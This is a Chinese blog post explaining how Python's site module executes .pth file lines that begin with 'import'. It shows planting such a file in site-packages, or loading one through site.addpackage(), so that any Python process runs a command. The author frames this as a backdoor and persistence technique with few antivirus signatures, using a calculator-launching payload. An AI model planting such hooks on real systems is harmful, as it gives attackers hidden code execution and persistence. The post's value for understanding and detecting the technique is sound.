Python pth 文件写入 getshell 或权限维持

今天看到 Y4er 师傅写的文章,我这里简单学习了一下:https://y4er.com/posts/python-pth-file-write-getshell/

概述

python 的 site 模块支持 "Site-specific configuration hook" 的功能,这个功能点本身是用来将特定路径加入模块搜索路径。该模块在初始化期间自动导入。
sys.prefixsys.exec_prefixC:/Python,那么创建路径为 C:\Python\Lib\site-packages\1.pth 的 pth 文件,然后其内容为
c:/windows/temp/
那么在新的 python 进程中,temp 路径将被添加到 sys.path 中

本地测试了一下:

image

import sys print(sys.prefix) print(sys.exec_prefix)

然后询问 ChatGPT 得知 Mac 系统中 python 的 site-packages 路径在哪里:
/Library/Frameworks/Python.framework/Versions/{version}/lib/python{version}/site-packages/
进去新建一个 1.pth写入 /Users/sanqiushu/Works/
image

image

可以看到,我在 1.pth 中写的路径已经加入到环境变量了, 然后再改个代码执行的语句:
image

import os;os.system("open -a Calculator")

image
此时运行任何 python 代码都会弹计算器了

原理

在 site.py 的实现中,有这么一段

for n, line in enumerate(f): if line.startswith("#"): continue if line.strip() == "": continue try: if line.startswith(("import ", "import\t")): exec(line) continue line = line.rstrip() dir, dircase = makepath(sitedir, line) if not dircase in known_paths and os.path.exists(dir): sys.path.append(dir) known_paths.add(dircase)

当 pth 文件内容以 import 或者 import\t 开头时,会执行这一行。
那么当 pth 文件内容为
import os;os.system("calc")
新启动 python 进程则会执行 calc 命令。

注意

本地测试执行 notepad 时 os.system 会卡死 python 进程,最好用 os.popen 或者 subprocess 执行。

不过这里我没有进行测试,不太清楚什么情况

拓展

到 site.addpackage() 里面去看看代码,做个后门挺不错的

def addpackage(sitedir, name, known_paths): if known_paths is None: known_paths = _init_pathinfo() reset = True else: reset = False fullname = os.path.join(sitedir, name) _trace(f"Processing .pth file: {fullname!r}") try: # locale encoding is not ideal especially on Windows. But we have used # it for a long time. setuptools uses the locale encoding too. f = io.TextIOWrapper(io.open_code(fullname), encoding="locale") except OSError: return with f: for n, line in enumerate(f): if line.startswith("#"): continue if line.strip() == "": continue try: if line.startswith(("import ", "import\t")): exec(line) continue line = line.rstrip() dir, dircase = makepath(sitedir, line) if not dircase in known_paths and os.path.exists(dir): sys.path.append(dir) known_paths.add(dircase) except Exception: print("Error processing line {:d} of {}:\n".format(n+1, fullname), file=sys.stderr) import traceback for record in traceback.format_exception(*sys.exc_info()): for line in record.splitlines(): print(' '+line, file=sys.stderr) print("\nRemainder of file ignored", file=sys.stderr) break if reset: known_paths = None return known_paths

只要先在系统写入一个后门文件,然后把路径传入 site.addpackage() 就可以执行了
例如:在/Users/sanqiushu/tmp/1.pth中写入import os;os.system("open -a Calculator")
然后执行:

import site site_dir = "/Users/sanqiushu/tmp/" name = "1.pth" site.addpackage(site_dir, name, None)

image

不过我没有做过杀软对抗,这样做的话确实最终执行命令的时候特征很少,但是写入 1.pth 的时候是无法做加密解密的,特征也很明显的。所以这个还是适合做个权限维持啥的吧。


__EOF__

本文作者Nestar
本文链接https://www.cnblogs.com/Nestar/p/17336664.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   Nestar  阅读(371)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律
点击右上角即可分享
微信分享提示